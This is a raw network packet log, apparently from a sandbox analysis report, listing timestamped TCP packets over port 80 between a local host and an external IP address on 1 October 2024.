Oct 1, 2024 06:03:11.786478043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786489010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786511898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786520958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786544085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786556959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786573887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786580086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786606073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786612988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786638021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786659002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786668062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786669016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786704063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786706924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786742926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787475109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787527084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787530899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787568092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787580013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787612915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787627935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787656069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787662983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787694931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787714958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787728071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787735939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787759066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787764072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787792921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787802935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787822008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787833929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787856102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787862062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787890911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787897110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787921906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787938118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787955046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787966013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.787986040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.787997961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788017035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788022041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788053989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788058043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788093090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788254976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788285971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788304090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788326979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788345098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788387060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788403034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788449049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788453102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788486958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788491964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788518906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788527966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788566113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788569927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788602114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788616896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788634062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788645029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788678885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788685083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788717985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788731098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788758993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788768053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788803101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788817883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788858891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788866043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788897991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788911104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788929939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788940907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788963079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.788966894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.788995981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789009094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789033890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789038897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789083004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789087057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789118052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789124966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789155006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789166927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789200068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789220095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789238930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789247990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789280891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789288044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789313078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789313078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789357901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789367914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789407969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789417982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789452076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789458990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789484024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789490938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789516926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789524078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789556980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789566040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789598942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789606094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789630890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789645910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789674997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789681911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789715052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789727926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789750099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789762974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789781094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789789915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789813995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789824009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789854050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789861917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789895058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789901018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789927959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789936066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789961100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.789969921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.789992094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790003061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790024996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790034056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790057898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790061951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790091991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790100098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790123940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790137053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790157080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790159941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790189981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790196896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790222883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790231943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790256023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790266991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790288925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790301085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790322065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790338993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790357113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790368080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790391922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790395975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790426016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790432930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790458918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790467024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790492058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790498972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790524006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790533066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790558100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790570974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790591002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790596008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790623903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790628910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790657043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790664911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790690899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790699005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790724993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790734053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790759087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790766001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790791988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790801048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790827036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790833950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790858984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790869951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790896893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790906906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790929079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790949106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790961027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.790965080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.790994883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791004896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791028976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791034937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791059971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791063070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791094065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791095018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791126966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791134119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791160107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791168928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791192055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791204929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791224957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791229010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791258097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791268110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791291952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791300058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791321039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.791326046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.791363001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873580933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873626947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873650074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873671055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873684883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873719931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873728037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873754025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873763084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873789072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873792887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873822927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873831987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873857021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873863935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873892069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873895884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873927116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873933077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873960972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.873967886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.873995066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874003887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874027967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874039888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874062061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874067068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874100924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874108076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874146938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874557972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874608994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874614000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874641895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874655008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874675035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874682903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874711037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874721050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874758959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874762058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874805927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874813080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874845028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874855995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874878883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874886990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874921083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874927998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874963045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.874970913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.874994993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875008106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875037909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875046015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875078917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875091076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875113010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875119925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875152111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875161886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875211954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875215054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875242949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875264883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875274897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875277996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875308037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875313997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875340939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875346899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875375986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875380993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875416994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875436068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875468016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875484943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875500917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875509977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875535965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875544071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875571012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875576019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875607014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875610113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875638962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.875650883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.875678062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.921925068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.926924944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139017105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139053106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139085054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139108896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139118910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139138937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139147997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139178038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139180899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139195919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139234066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139235973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139267921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139270067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139309883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139359951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139400959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139413118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139451981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139455080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.139483929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.139497042 CEST	49730	80	192.168.2.4	185.215.113.37
